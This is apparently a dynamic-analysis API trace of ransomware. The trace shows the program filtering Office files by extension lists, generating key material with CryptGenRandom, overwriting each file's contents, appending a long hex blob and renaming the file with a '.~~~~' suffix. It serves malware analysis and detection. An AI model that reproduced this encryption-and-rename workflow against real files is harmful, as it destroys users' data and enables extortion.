	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".pif") returned 0x0
	[0143.555] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.557] lstrlenW (lpString=".sqb") returned 4
	[0143.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".sqb") returned 0x0
	[0143.557] lstrlenW (lpString=".ost") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".ost") returned 0x0
	[0143.558] lstrlenW (lpString=".txt") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".txt") returned 0x0
	[0143.558] lstrlenW (lpString=".mdt") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".mdt") returned 0x0
	[0143.558] lstrlenW (lpString=".BDB") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".BDB") returned 0x0
	[0143.558] lstrlenW (lpString=".eql") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".eql") returned 0x0
	[0143.558] lstrlenW (lpString=".DBF") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DBF") returned 0x0
	[0143.558] lstrlenW (lpString=".EQL") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".EQL") returned 0x0
	[0143.558] lstrlenW (lpString=".FDB") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".FDB") returned 0x0
	[0143.558] lstrlenW (lpString=".EDB") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".EDB") returned 0x0
	[0143.558] lstrlenW (lpString=".DACPAC") returned 7
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.558] lstrlenW (lpString=".VHD") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".VHD") returned 0x0
	[0143.558] lstrlenW (lpString=".DBV") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DBV") returned 0x0
	[0143.558] lstrlenW (lpString=".dacpac") returned 7
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.558] lstrlenW (lpString=".sdf") returned 4
	[0143.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".sdf") returned 0x0
	[0143.558] lstrlenW (lpString=".accdb") returned 6
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".accdb") returned 0x0
	[0143.559] lstrlenW (lpString=".DBX") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DBX") returned 0x0
	[0143.559] lstrlenW (lpString=".MDT") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".MDT") returned 0x0
	[0143.559] lstrlenW (lpString=".SQB") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".SQB") returned 0x0
	[0143.559] lstrlenW (lpString=".vhd") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".vhd") returned 0x0
	[0143.559] lstrlenW (lpString=".bac") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".bac") returned 0x0
	[0143.559] lstrlenW (lpString=".mdf") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".mdf") returned 0x0
	[0143.559] lstrlenW (lpString=".BAK") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".BAK") returned 0x0
	[0143.559] lstrlenW (lpString=".BAC") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".BAC") returned 0x0
	[0143.559] lstrlenW (lpString=".dbs") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dbs") returned 0x0
	[0143.559] lstrlenW (lpString=".vhdx") returned 5
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.559] lstrlenW (lpString=".NDF") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".NDF") returned 0x0
	[0143.559] lstrlenW (lpString=".dat") returned 4
	[0143.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dat") returned 0x0
	[0143.560] lstrlenW (lpString=".DBS") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DBS") returned 0x0
	[0143.560] lstrlenW (lpString=".CKP") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".CKP") returned 0x0
	[0143.560] lstrlenW (lpString=".edb") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".edb") returned 0x0
	[0143.560] lstrlenW (lpString=".PST") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".PST") returned 0x0
	[0143.560] lstrlenW (lpString=".dbf") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dbf") returned 0x0
	[0143.560] lstrlenW (lpString=".SQL") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".SQL") returned 0x0
	[0143.560] lstrlenW (lpString=".pst") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".pst") returned 0x0
	[0143.560] lstrlenW (lpString=".dbv") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dbv") returned 0x0
	[0143.560] lstrlenW (lpString=".SDF") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".SDF") returned 0x0
	[0143.560] lstrlenW (lpString=".dtxs") returned 5
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.560] lstrlenW (lpString=".db3") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".db3") returned 0x0
	[0143.560] lstrlenW (lpString=".OST") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".OST") returned 0x0
	[0143.560] lstrlenW (lpString=".dbx") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dbx") returned 0x0
	[0143.560] lstrlenW (lpString=".DB3") returned 4
	[0143.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DB3") returned 0x0
	[0143.561] lstrlenW (lpString=".DAT") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DAT") returned 0x0
	[0143.561] lstrlenW (lpString=".VHDX") returned 5
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.561] lstrlenW (lpString=".ndf") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".ndf") returned 0x0
	[0143.561] lstrlenW (lpString=".DB") returned 3
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DB") returned 0x0
	[0143.561] lstrlenW (lpString=".sql") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".sql") returned 0x0
	[0143.561] lstrlenW (lpString=".MYD") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".MYD") returned 0x0
	[0143.561] lstrlenW (lpString=".DBT") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DBT") returned 0x0
	[0143.561] lstrlenW (lpString=".ACCDB") returned 6
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.561] lstrlenW (lpString=".fdb") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".fdb") returned 0x0
	[0143.561] lstrlenW (lpString=".bak") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".bak") returned 0x0
	[0143.561] lstrlenW (lpString=".myd") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".myd") returned 0x0
	[0143.561] lstrlenW (lpString=".DTXS") returned 5
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.561] lstrlenW (lpString=".ckp") returned 4
	[0143.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".ckp") returned 0x0
	[0143.562] lstrlenW (lpString=".dbt") returned 4
	[0143.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dbt") returned 0x0
	[0143.562] lstrlenW (lpString=".db") returned 3
	[0143.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".db") returned 0x0
	[0143.562] lstrlenW (lpString=".TXT") returned 4
	[0143.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".TXT") returned 0x0
	[0143.562] lstrlenW (lpString=".MDF") returned 4
	[0143.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".MDF") returned 0x0
	[0143.562] lstrlenW (lpString=".bdb") returned 4
	[0143.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".bdb") returned 0x0
	[0143.562] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.562] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.563] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.563] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.564] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26355379563) returned 1
	[0143.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbefa6910, dwHighDateTime=0x1d60e1e)) 
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809ed0
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809ed0 | out: hHeap=0x300000) returned 1
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab360
	[0143.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab360 | out: hHeap=0x300000) returned 1
	[0143.565] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.566] GetLastError () returned 0x0
	[0143.566] GetLastError () returned 0x0
	[0143.566] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.566] GetLastError () returned 0x0
	[0143.566] GetLastError () returned 0x0
	[0143.566] ReadFile (in: hFile=0x104, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x10a7, lpOverlapped=0x0) returned 1
	[0143.569] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffef59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.569] WriteFile (in: hFile=0x104, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x10a7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x10a7, lpOverlapped=0x0) returned 1
	[0143.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.570] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.570] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.570] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.570] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.570] CloseHandle (hObject=0x104) returned 1
	[0143.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab360
	[0143.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif.~~~~")) returned 1
	[0143.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab360 | out: hHeap=0x300000) returned 1
	[0143.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.573] GetLastError () returned 0x0
	[0143.573] RtlWakeConditionVariable () returned 0x0
	[0143.573] GetCurrentThreadId () returned 0x9cc
	[0143.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".scr") returned 0x0
	[0143.573] lstrlenW (lpString=".cmd") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".cmd") returned 0x0
	[0143.574] lstrlenW (lpString=".dll") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dll") returned 0x0
	[0143.574] lstrlenW (lpString=".bat") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".bat") returned 0x0
	[0143.574] lstrlenW (lpString=".cpl") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".cpl") returned 0x0
	[0143.574] lstrlenW (lpString=".sys") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".sys") returned 0x0
	[0143.574] lstrlenW (lpString=".msc") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".msc") returned 0x0
	[0143.574] lstrlenW (lpString=".com") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".com") returned 0x0
	[0143.574] lstrlenW (lpString=".lnk") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".lnk") returned 0x0
	[0143.574] lstrlenW (lpString=".msp") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".msp") returned 0x0
	[0143.574] lstrlenW (lpString=".pif") returned 4
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".pif") returned 0x0
	[0143.574] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.577] lstrlenW (lpString=".sqb") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".sqb") returned 0x0
	[0143.577] lstrlenW (lpString=".ost") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".ost") returned 0x0
	[0143.577] lstrlenW (lpString=".txt") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".txt") returned 0x0
	[0143.577] lstrlenW (lpString=".mdt") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".mdt") returned 0x0
	[0143.577] lstrlenW (lpString=".BDB") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".BDB") returned 0x0
	[0143.577] lstrlenW (lpString=".eql") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".eql") returned 0x0
	[0143.577] lstrlenW (lpString=".DBF") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DBF") returned 0x0
	[0143.577] lstrlenW (lpString=".EQL") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".EQL") returned 0x0
	[0143.577] lstrlenW (lpString=".FDB") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".FDB") returned 0x0
	[0143.577] lstrlenW (lpString=".EDB") returned 4
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".EDB") returned 0x0
	[0143.577] lstrlenW (lpString=".DACPAC") returned 7
	[0143.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.577] lstrlenW (lpString=".VHD") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".VHD") returned 0x0
	[0143.578] lstrlenW (lpString=".DBV") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DBV") returned 0x0
	[0143.578] lstrlenW (lpString=".dacpac") returned 7
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.578] lstrlenW (lpString=".sdf") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".sdf") returned 0x0
	[0143.578] lstrlenW (lpString=".accdb") returned 6
